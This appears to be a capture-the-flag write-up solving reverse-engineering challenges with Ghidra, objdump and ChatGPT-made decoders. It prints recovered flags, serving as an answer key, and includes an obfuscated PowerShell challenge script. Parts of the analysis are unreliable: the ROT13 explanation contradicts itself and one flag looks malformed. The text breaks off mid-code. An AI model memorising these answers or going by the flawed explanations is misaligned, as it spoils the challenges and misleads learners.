&lt;h2&gt;Reverse Engineering&lt;/h2&gt;
&lt;h3&gt;1. An Offset Amongst Friends&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2033.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Given File: an-offset&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&quot;/uploads/Snyk_2025/an-offset.zip&quot;&gt;an-offset.zip&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It is a ELF file which kind exe of linux.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2034.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I open this binary in ghidra for analysis and try to analyze the decompiled c code and see the different function.&lt;/li&gt;
&lt;li&gt;I got something interesting in this &lt;code&gt;FUN_001011c&lt;/code&gt; function.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2035.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void FUN_001011c9(long param_1)

{
  long in_FS_OFFSET;
  int local_3c;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined7 local_20;
  undefined uStack_19;
  undefined7 uStack_18;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_38 = 0x3536647c68626d67;
  local_30 = 0x3436333935363234;
  local_28 = 0x6237386232326432;
  local_20 = 0x66393339626266;
  uStack_19 = 0x35;
  uStack_18 = 0x7e6438313934;
  for (local_3c = 0; *(char *)((long)&amp;amp;local_38 + (long)local_3c) != &apos;\0&apos;; local_3c = local_3c + 1) {
    *(char *)(param_1 + local_3c) = *(char *)((long)&amp;amp;local_38 + (long)local_3c) + -1;
  }
  *(undefined *)(param_1 + local_3c) = 0;
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;I try to unhex the give hex stored in different variables but it doesn’t make any sense.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2036.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;After that i analyze the code by converting it to C code using ChatGPT,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;

// This function decodes an encoded string and writes it into the buffer pointed to by &apos;dest&apos;.
// The encoded string is stored in a contiguous byte array built from the constants in the disassembly.
void FUN_001011c9(char *dest) {
    // The encoded bytes are stored in little-endian order as they would appear in memory.
    // They correspond to the following blocks from the disassembly:
    //
    // local_38 = 0x3536647c68626d67  -&amp;gt; bytes: 0x67, 0x6d, 0x62, 0x68, 0x7c, 0x64, 0x36, 0x35
    // local_30 = 0x3436333935363234  -&amp;gt; bytes: 0x34, 0x32, 0x36, 0x35, 0x39, 0x33, 0x36, 0x34
    // local_28 = 0x6237386232326432  -&amp;gt; bytes: 0x32, 0x64, 0x32, 0x32, 0x62, 0x38, 0x37, 0x62
    // local_20 = 0x66393339626266    -&amp;gt; stored in 7 bytes: 0x66, 0x62, 0x62, 0x39, 0x33, 0x39, 0x66
    // uStack_19 = 0x35             -&amp;gt; 1 byte: 0x35
    // uStack_18 = 0x7e6438313934    -&amp;gt; stored in 7 bytes (with a null terminator at the end): 
    //          little-endian: 0x34, 0x39, 0x31, 0x38, 0x64, 0x7e, 0x00
    unsigned char encoded[] = {
        // local_38 (8 bytes)
        0x67, 0x6d, 0x62, 0x68, 0x7c, 0x64, 0x36, 0x35,
        // local_30 (8 bytes)
        0x34, 0x32, 0x36, 0x35, 0x39, 0x33, 0x36, 0x34,
        // local_28 (8 bytes)
        0x32, 0x64, 0x32, 0x32, 0x62, 0x38, 0x37, 0x62,
        // local_20 (7 bytes)
        0x66, 0x62, 0x62, 0x39, 0x33, 0x39, 0x66,
        // uStack_19 (1 byte)
        0x35,
        // uStack_18 (7 bytes)
        0x34, 0x39, 0x31, 0x38, 0x64, 0x7e, 0x00
    };

    int i = 0;
    // Loop until a null byte is found in the encoded data.
    while (encoded[i] != 0) {
        // Subtract 1 from each byte to decode it.
        dest[i] = encoded[i] - 1;
        i++;
    }
    // Append a null terminator.
    dest[i] = &apos;\0&apos;;
}

int main(void) {
    // Allocate a buffer large enough to hold the decoded string.
    char decoded[50];
    
    FUN_001011c9(decoded);
    printf(&quot;Decoded string: %s\n&quot;, decoded);
    
    return 0;
}

&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;This code is just converting the &lt;code&gt;little-endian hex to big-endian&lt;/code&gt; notation. and also &lt;code&gt;subtracting 1 from each byte and combining it as ASCII&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;                 ((LE to BE) - 1)
				        
35 36 64 7c 68 62 6d 67 	==&amp;gt; 	66 6c 61 67 7b 63 35 34
34 36 33 39 35 36 32 34 	==&amp;gt; 	33 31 35 34 38 32 35 33
62 37 38 62 32 32 64 32 	==&amp;gt; 	31 63 31 31 61 37 36 61
66 39 33 39 62 62 66 		  ==&amp;gt; 	65 61 61 38 32 38 65
35 							           ==&amp;gt; 	34
7e 64 38 31 39 34 			  ==&amp;gt; 	33 38 30 37 63 7d
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;66 6c 61 67 7b 63 35 34 33 31 35 34 38 32 35 33 31 63 31 
31 61 37 36 61 65 61 61 38 32 38 65 34 33 38 30 37 63 7d
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;After unhex it i got the flag,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2037.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flag{c54315482531c11a76aeaa828e43807c}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. A Powerful Shell&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2038.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Given File: challenge.psl&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&quot;/uploads/Snyk_2025/challenge.ps1&quot;&gt;challenge.ps1&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;After opening this in editor i found that there is &lt;code&gt;long base64 encoded string&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;So i tries to decode it.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;# Check if being debugged
if ($PSDebugContext) {
    Write-Output &quot;No debugging allowed!&quot;
    exit
}

# Embedded and encoded layer 2
$encoded = &quot;JGRlY29kZWQgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQm
FzZTY0U3RyaW5nKCdabXhoWjNzME5XUXlNMk14WmpZM09EbGlZV1JqTVRJ
ek5EVTJOemc1TURFeU16UTFObjA9JykNCiRmbGFnID0gW1N5c3RlbS5UZX
h0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoJGRlY29kZWQpDQoNCiMg
T25seSBzaG93IGZsYWcgaWYgc3BlY2lmaWMgZW52aXJvbm1lbnQgdmFyaW
FibGUgaXMgc2V0DQppZiAoJGVudjpNQUdJQ19LRVkgLWVxICdTdXAzclMz
Y3IzdCEnKSB7DQogICAgV3JpdGUtT3V0cHV0ICRmbGFnDQp9IGVsc2Ugew
0KICAgIFdyaXRlLU91dHB1dCAiTmljZSB0cnkhIEJ1dCB5b3UgbmVlZCB0
aGUgbWFnaWMga2V5ISINCn0=&quot;
$bytes = [Convert]::FromBase64String($encoded)
$decodedScript = [System.Text.Encoding]::UTF8.GetString($bytes)

# Execute with specific arguments
$argumentList = &quot;-NoProfile&quot;, &quot;-NonInteractive&quot;, &quot;-Command&quot;, $decodedScript

# Start new PowerShell process
$startInfo = New-Object System.Diagnostics.ProcessStartInfo
$startInfo.FileName = &quot;powershell.exe&quot;
$startInfo.Arguments = $argumentList -join &apos; &apos;
$startInfo.RedirectStandardOutput = $true
$startInfo.RedirectStandardError = $true
$startInfo.UseShellExecute = $false
$startInfo.CreateNoWindow = $true

$process = New-Object System.Diagnostics.Process
$process.StartInfo = $startInfo
$process.Start() | Out-Null
$output = $process.StandardOutput.ReadToEnd()
$process.WaitForExit()

Write-Output $output
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;After Decoding this Base64 i got another code,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2039.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$decoded = [System.Convert]::FromBase64String(&apos;ZmxhZ3s0NWQyM2MxZjY3ODliY
WRjMTIzNDU2Nzg5MDEyMzQ1Nn0=&apos;)
$flag = [System.Text.Encoding]::UTF8.GetString($decoded)

# Only show flag if specific environment variable is set
if ($env:MAGIC_KEY -eq &apos;Sup3rS3cr3t!&apos;) {
    Write-Output $flag
} else {
    Write-Output &quot;Nice try! But you need the magic key!&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;This code also contains another base64 string i try to decode that also and got the flag.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2040.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flag{45d23c1f6789badc1234567890123456}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. String Me Along&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2041.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Given File: string-me-along&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&quot;/uploads/Snyk_2025/string-me-along.zip&quot;&gt;string-me-along.zip&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;As per challenge description i got a hint that using &lt;code&gt;string&lt;/code&gt; command maybe something gonna reveal.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2042.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Although the flag is visible but there are some extra characters which seems not part of it so i tried first enter the highlighted password (&lt;code&gt;unlock_me_123&lt;/code&gt;) after running the binary and got the flag.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2043.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; flag{850de1a29ab50b6e5ad958334b68d5bf}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4. Math For Me&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2044.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Given File: math4me&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&quot;/uploads/Snyk_2025/math4me.txt&quot;&gt;math4me&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;First check the type of file and how its working. Its an ELF (Executable and Linked format) file. So when executed it, it asks for an special number, which I think we need to find to get the flag.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2045.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Checked strings of the file using command: &lt;code&gt;strings math4me&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;From your &lt;code&gt;strings&lt;/code&gt; output, we found:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&quot;Congratulations! Here&apos;s your flag: %s&quot;&lt;/code&gt; → Suggests the flag is revealed upon correct input.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;compute_flag_char&lt;/code&gt; and &lt;code&gt;check_number&lt;/code&gt; → key functions that might validate the number.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;I used this command &lt;code&gt;objdump -d math4me | less&lt;/code&gt; to disassemble the binary. Below is the disassembled check_number function.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2046.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Now with the help of chatgpt, analysed the function and got the secret number&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Understanding the Function&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Input Handling:&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;The function takes an integer input in &lt;code&gt;edi&lt;/code&gt; and stores it in &lt;code&gt;rbp - 0x14&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The value is then moved around different registers.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Computation:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;13d7:  c1 e0 02   shl    $0x2,%eax   # Multiply input by 4
13da:  01 d0      add    %edx,%eax   # Add original input (result = 5 * input)
13dc:  83 c0 04   add    $0x4,%eax   # Add 4 (result = 5 * input + 4)

&amp;gt; This means: result=5 × input + 4
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;Division and Rounding:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;13e7:  c1 ea 1f   shr    $0x1f,%edx   # Handles negative input adjustment
13ec:  d1 f8      sar    $1,%eax      # Divide by 2 (Arithmetic Shift Right)

&amp;gt; This means: final result = (5 × input + 4) / 2
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;Final Checks&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;13f1:  83 6d fc 0a   subl   $0xa,-0x4(%rbp)   # Subtract 10
13f5:  83 7d fc 2a   cmpl   $0x2a,-0x4(%rbp)  # Compare with 42

The condition:  final result−10=42
Rearranging:    final result = 52
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;Solving for Input:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;(5 x input + 4) / 2 = 52
5 x input + 4 = 52 * 2 = 104
5 x input = 104 - 4 = 100
input = 100 / 5 = 20
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Executing the script&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;As we solved the equation off check_number function, now try entering 20 as the secret number.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Hurrey!! It worked. We got the flag.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2047.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flag{h556cdd`=ag.c53664:45569368391gc}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;5. letters2nums&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2048.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Given Files: encflag.txt and letters2nums.elf&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&quot;/uploads/Snyk_2025/encflag.txt&quot;&gt;encflag.txt&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;/uploads/Snyk_2025/letters2nums.txt&quot;&gt;letters2nums&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Understanding the challenge&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;This challenge is about reverse engineering the &lt;code&gt;letters2nums.elf&lt;/code&gt; binary to decode the numbers in &lt;code&gt;encflag.txt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Executed the elf file to see how it works. It gives below error&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2049.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Next Step,
&lt;ul&gt;
&lt;li&gt;Checked strings of the binary. I noticed some functions like &lt;code&gt;encodeChars&lt;/code&gt;, &lt;code&gt;writeFlag&lt;/code&gt;, and &lt;code&gt;readFlag&lt;/code&gt;. The function names suggest that &lt;code&gt;encodeChars&lt;/code&gt; converts letters to numbers, meaning we need to reverse this process.&lt;/li&gt;
&lt;li&gt;Disassembling the binary using command: &lt;code&gt;objdump -d letters2nums.elf.&lt;/code&gt; Below are the disassembled function&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2050.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2051.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2052.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Now again with the help of chatgpt, analysing the function.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The &lt;code&gt;encodeChars&lt;/code&gt; function takes two &lt;code&gt;char&lt;/code&gt; values as input and combines them into a &lt;code&gt;short&lt;/code&gt; (16-bit integer).&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;It moves the first character (&lt;code&gt;edi&lt;/code&gt;) into &lt;code&gt;dl&lt;/code&gt; and the second character (&lt;code&gt;esi&lt;/code&gt;) into &lt;code&gt;al&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;It shifts the first character left by 8 bits (&lt;code&gt;c1 e0 08&lt;/code&gt;), effectively making it the high byte of a 16-bit integer.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;It ORs (&lt;code&gt;09 d0&lt;/code&gt;) the second character with this shifted value, combining them into a single &lt;code&gt;short&lt;/code&gt; (16-bit) value.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;It returns this combined value.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;lly&lt;/strong&gt;, $encodedValue =(char1≪8)∣char2$&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;For eg.&lt;/strong&gt;  &apos;H&apos; (ASCII 72) and &apos;i&apos; (ASCII 105)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  $encodedValue: (72≪8)∣105=(18432)∣(105)=18537$
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;It means this function is encoding two characters into a single 16-bit integer and it might be how &lt;code&gt;encflag.txt&lt;/code&gt; was encoded — each two-character pair was converted into a number.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;So we need to reverse this to decode the data given in encflag.txt&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Extract the high byte: &lt;code&gt;value &amp;gt;&amp;gt; 8&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Extract the low byte: &lt;code&gt;value &amp;amp; 0xFF&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Convert both back to characters.&lt;/li&gt;
&lt;li&gt;Contents of encflag.txt&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;21608, 26995, 8297, 29472, 24864, 27759, 28263, 8289, 28260, 8291,
    28526, 30319, 27765, 25701, 25632, 30561, 31008, 29807, 8308, 29305,
    8289, 28260, 8296, 26980, 25888, 29800, 25888, 26220, 24935, 14950,
    27745, 26491, 13154, 12341, 12390, 13665, 14129, 13925, 13617, 25400,
    14693, 14643, 12851, 25185, 26163, 24887, 25143, 13154, 32000
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;Now again with the help of chatgpt, I generated a python script to decode these encrypted values.&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;encoded_values = [
    21608, 26995, 8297, 29472, 24864, 27759, 28263, 8289, 28260, 8291,
    28526, 30319, 27765, 25701, 25632, 30561, 31008, 29807, 8308, 29305,
    8289, 28260, 8296, 26980, 25888, 29800, 25888, 26220, 24935, 14950,
    27745, 26491, 13154, 12341, 12390, 13665, 14129, 13925, 13617, 25400,
    14693, 14643, 12851, 25185, 26163, 24887, 25143, 13154, 32000
]

def decode_values(encoded_values):
    decoded_chars = []
    for value in encoded_values:
        high_byte = (value &amp;gt;&amp;gt; 8) &amp;amp; 0xFF
        low_byte = value &amp;amp; 0xFF
        decoded_chars.append(chr(high_byte))
        decoded_chars.append(chr(low_byte))
    return &quot;&quot;.join(decoded_chars)

decoded_flag = decode_values(encoded_values)
print(&quot;Decoded Flag:&quot;, decoded_flag)
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Understanding the python script&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;make a list and paste the values from encflag.txt&lt;/li&gt;
&lt;li&gt;In the function, first, it creates an empty dictionary to store the decoded values.&lt;/li&gt;
&lt;li&gt;Then using loop, it iterates over encoded_values list. and extract high bytes and store in variable high_byte, similarly, extract low byte and store in low_byte var.&lt;/li&gt;
&lt;li&gt;Then it converts hight and low byte to char like this &lt;code&gt;chr(high_byte)&lt;/code&gt; and appends into the empty list.&lt;/li&gt;
&lt;li&gt;This loop goes on until all the values in the encoded_values list are done with.&lt;/li&gt;
&lt;li&gt;The the function then returns the decoded_chars list by joinig it into string&lt;/li&gt;
&lt;li&gt;Finally print the decoded_flag string. And we got the flag 🥳&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2053.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flag{3b050f5a716e51c89e9323baf3a7b73b}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;6. Either Or&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2054.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Given File: either-or&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&quot;/uploads/Snyk_2025/either-or.zip&quot;&gt;either-or.zip&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I tried open it in ghidra and try to analyze it and what i found is main function.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2055.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;undefined8 main(void)

{
  int iVar1;
  long in_FS_OFFSET;
  undefined8 local_d8;
  undefined8 local_d0;
  undefined local_c8 [64];
  char local_88 [64];
  undefined local_48 [56];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_d8 = 0x635f677265707266;
  local_d0 = 0x7165626a66666e;
  puts(&quot;Welcome to the Encoding Challenge!&quot;);
  printf(&quot;Enter the secret word: &quot;);
  __isoc99_scanf(&amp;amp;DAT_00102043,local_c8);
  encode_input(local_c8,local_88);
  iVar1 = strcmp(local_88,(char *)&amp;amp;local_d8);
  if (iVar1 == 0) {
    decode_flag(local_48);
    printf(&quot;Well done! Here\&apos;s your flag: flag{%s}\n&quot;,local_48);
  }
  else {
    puts(&quot;Not quite right. Keep trying!&quot;);
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Also there another functions call named &lt;code&gt;encode_input&lt;/code&gt; and &lt;code&gt;decode_flag&lt;/code&gt;,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;void encode_input(long param_1,long param_2)

{
  int iVar1;
  int local_c;
  
  for (local_c = 0; *(char *)(param_1 + local_c) != &apos;\0&apos;; local_c = local_c + 1) {
    if ((*(char *)(param_1 + local_c) &amp;lt; &apos;a&apos;) || (&apos;z&apos; &amp;lt; *(char *)(param_1 + local_c))) {
      if ((*(char *)(param_1 + local_c) &amp;lt; &apos;A&apos;) || (&apos;Z&apos; &amp;lt; *(char *)(param_1 + local_c))) {
        *(undefined *)(param_2 + local_c) = *(undefined *)(param_1 + local_c);
      }
      else {
        iVar1 = *(char *)(param_1 + local_c) + -0x34;
        *(char *)(param_2 + local_c) = (char)iVar1 + (char)(iVar1 / 0x1a) * -0x1a + &apos;A&apos;;
      }
    }
    else {
      iVar1 = *(char *)(param_1 + local_c) + -0x54;
      *(char *)(param_2 + local_c) = (char)iVar1 + (char)(iVar1 / 0x1a) * -0x1a + &apos;a&apos;;
    }
  }
  *(undefined *)(param_2 + local_c) = 0;
  return;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;void decode_flag(long param_1)

{
  long in_FS_OFFSET;
  uint local_3c;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_38 = 0x7b7a712676757224;
  local_30 = 0x7570207674737071;
  local_28 = 0x7324267a7277237a;
  local_20 = 0x7b7a242427772073;
  for (local_3c = 0; local_3c &amp;lt; 0x20; local_3c = local_3c + 1) {
    *(byte *)(param_1 + (int)local_3c) = *(byte *)((long)&amp;amp;local_38 + (long)(int)local_3c) ^ 0x42;
  }
  *(undefined *)(param_1 + 0x20) = 0;
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;So first i convert the &lt;code&gt;encode_input function to C&lt;/code&gt; using GPT,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;

void encode_input(const char *input, char *output) {
    int i = 0;
    while (input[i] != &apos;\0&apos;) {
        char c = input[i];

        if (c &amp;gt;= &apos;a&apos; &amp;amp;&amp;amp; c &amp;lt;= &apos;z&apos;) {
            output[i] = ((c - &apos;a&apos; - 84) % 26 + 26) % 26 + &apos;a&apos;;  // Ensure wrap-around
        } 
        else if (c &amp;gt;= &apos;A&apos; &amp;amp;&amp;amp; c &amp;lt;= &apos;Z&apos;) {
            output[i] = ((c - &apos;A&apos; - 52) % 26 + 26) % 26 + &apos;A&apos;;  // Ensure wrap-around
        } 
        else {
            output[i] = c;  // Keep non-alphabetic characters unchanged
        }

        i++;
    }
    output[i] = &apos;\0&apos;;  // Null-terminate the output
}

&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Explanation:- The function &lt;strong&gt;shifts letters backward&lt;/strong&gt; in the alphabet while keeping non-alphabetic characters unchanged.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Lowercase letters &lt;strong&gt;(&lt;code&gt;a-z&lt;/code&gt;)&lt;/strong&gt; are shifted back by &lt;code&gt;84 positions&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;(effectively &lt;code&gt;84 % 26 = 6&lt;/code&gt; places backward).&lt;/li&gt;
&lt;li&gt;$NewChar = ( OriginalChar − 84 − &apos;a&apos;) mod 26 + ‘a’$&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Uppercase letters &lt;strong&gt;(&lt;code&gt;A-Z&lt;/code&gt;)&lt;/strong&gt; are shifted back by &lt;strong&gt;52&lt;/strong&gt; positions
&lt;ul&gt;
&lt;li&gt;(effectively &lt;code&gt;52 % 26 = 0&lt;/code&gt;, meaning no change).&lt;/li&gt;
&lt;li&gt;$NewChar = ( OriginalChar − 52 − &apos;A&apos;) mod 26 + &apos;A&apos;$&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Non-alphabetic characters remain unchanged.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;(In Short It just apply ROT13 on given input)&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Now Secondly, i convert the &lt;code&gt;decode_flag function to C&lt;/code&gt; using GPT,&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;string.h&amp;gt;

